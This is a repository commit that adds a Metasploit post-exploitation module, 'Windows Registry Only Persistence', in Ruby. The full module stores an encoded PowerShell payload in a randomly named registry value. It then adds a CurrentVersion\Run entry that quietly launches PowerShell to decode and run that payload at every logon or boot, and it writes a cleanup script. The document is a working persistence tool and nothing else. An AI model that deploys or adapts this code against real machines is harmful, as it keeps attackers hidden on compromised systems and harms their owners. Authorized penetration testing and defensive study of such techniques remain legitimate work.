add registry_persistence.rb
parent
399b3d2810
commit
bd94f50fb0
|
@ -0,0 +1,191 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::File
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Registry Only Persistence',
|
||||
'Description' => %q{
|
||||
This module will install a payload that is executed during boot.
|
||||
It will be executed either at user logon or system startup via the registry
|
||||
value in "CurrentVersion\Run" (depending on privilege and selected method).
|
||||
The payload will be installed completely in registry.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Donny Maasland <donny.maasland[at]fox-it.com>',
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "Jul 1 2015",
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DisablePayloadHandler' => 'true'
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('STARTUP',
|
||||
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
|
||||
OptString.new('BLOB_REG_KEY',
|
||||
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
|
||||
OptString.new('BLOB_REG_NAME',
|
||||
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
|
||||
OptString.new('RUN_NAME',
|
||||
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
|
||||
OptEnum.new('TECHNIQUE', [true, 'Execution technique', 'PSH', ['PSH']]), # Just PSH for now, might add others later.
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_payload_blob
|
||||
if datastore['TECHNIQUE'] == 'PSH'
|
||||
blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first,use_single_quotes: true, encode_final_payload: true).split(' ')[-1]
|
||||
end
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
def generate_cmd(root_path, blob_key_name, blob_key_reg)
|
||||
if datastore['TECHNIQUE'] == 'PSH'
|
||||
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -c $y=(Get-Item('#{root_path}:#{blob_key_name}')).GetValue('#{blob_key_reg}'); powershell -nop -e $y" # There might be a better way to do this.
|
||||
end
|
||||
return cmd
|
||||
end
|
||||
|
||||
def generate_blob_reg
|
||||
blob_reg_key = datastore["BLOB_REG_KEY"] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
|
||||
blob_reg_name = datastore["BLOB_REG_NAME"] || Rex::Text.rand_text_alphanumeric(8)
|
||||
return blob_reg_key, blob_reg_name
|
||||
end
|
||||
|
||||
def generate_cmd_reg
|
||||
cmd_reg = datastore["RUN_NAME"] || Rex::Text.rand_text_alphanumeric(8)
|
||||
return cmd_reg
|
||||
end
|
||||
|
||||
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
||||
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
|
||||
if not registry_enumkeys(blob_reg_key)
|
||||
if registry_createkey(blob_reg_key)
|
||||
print_good("Created registry key #{blob_reg_key}")
|
||||
else
|
||||
fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
|
||||
end
|
||||
end
|
||||
|
||||
if registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
|
||||
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
|
||||
else
|
||||
fail_with(Failure::Unknown,'Failed to open the registry key for writing')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def install_cmd(cmd, cmd_reg, root_path)
|
||||
if registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
|
||||
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
|
||||
else
|
||||
fail_with(Failure::Unknown,'Could not install run key')
|
||||
end
|
||||
end
|
||||
|
||||
def get_root_path
|
||||
if datastore["STARTUP"] == 'USER'
|
||||
root_path = 'HKCU'
|
||||
else
|
||||
root_path = 'HKLM'
|
||||
end
|
||||
return root_path
|
||||
end
|
||||
|
||||
def log_file(log_path = nil) # Thanks Meatballs for this
|
||||
# Get hostname
|
||||
host = session.sys.config.sysinfo["Computer"]
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
if log_path
|
||||
logs = ::File.join(log_path, 'logs', 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo))
|
||||
else
|
||||
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
||||
Rex::FileUtils.clean_path(host + filenameinfo))
|
||||
end
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
# logfile name
|
||||
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
||||
logfile
|
||||
end
|
||||
|
||||
def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this
|
||||
clean_rc = log_file()
|
||||
@clean_up_rc = ""
|
||||
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
|
||||
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
|
||||
file_local_write(clean_rc, @clean_up_rc)
|
||||
print_status("Clean up Meterpreter RC file: #{clean_rc}")
|
||||
|
||||
report_note(:host => session.sys.config.sysinfo["Computer"],
|
||||
:type => "host.persistance.cleanup",
|
||||
:data => {
|
||||
:local_id => session.sid,
|
||||
:stype => session.type,
|
||||
:desc => session.info,
|
||||
:platform => session.platform,
|
||||
:via_payload => session.via_payload,
|
||||
:via_exploit => session.via_exploit,
|
||||
:created_at => Time.now.utc,
|
||||
:commands => @clean_up_rc
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Generating payload blob..')
|
||||
blob = generate_payload_blob
|
||||
if blob.length <= 16383
|
||||
print_good("Generated payload, #{blob.length} bytes")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Payload blob is too large (#{blob.length} bytes)")
|
||||
end
|
||||
|
||||
root_path = get_root_path
|
||||
print_status("Root path is #{root_path}")
|
||||
|
||||
blob_reg_key, blob_reg_name = generate_blob_reg
|
||||
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
|
||||
cmd_reg = generate_cmd_reg
|
||||
|
||||
print_status('Installing payload blob..')
|
||||
install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
||||
|
||||
print_status('Installing run key')
|
||||
install_cmd(cmd, cmd_reg, root_path)
|
||||
|
||||
create_cleanup(root_path, blob_reg_key, cmd_reg)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue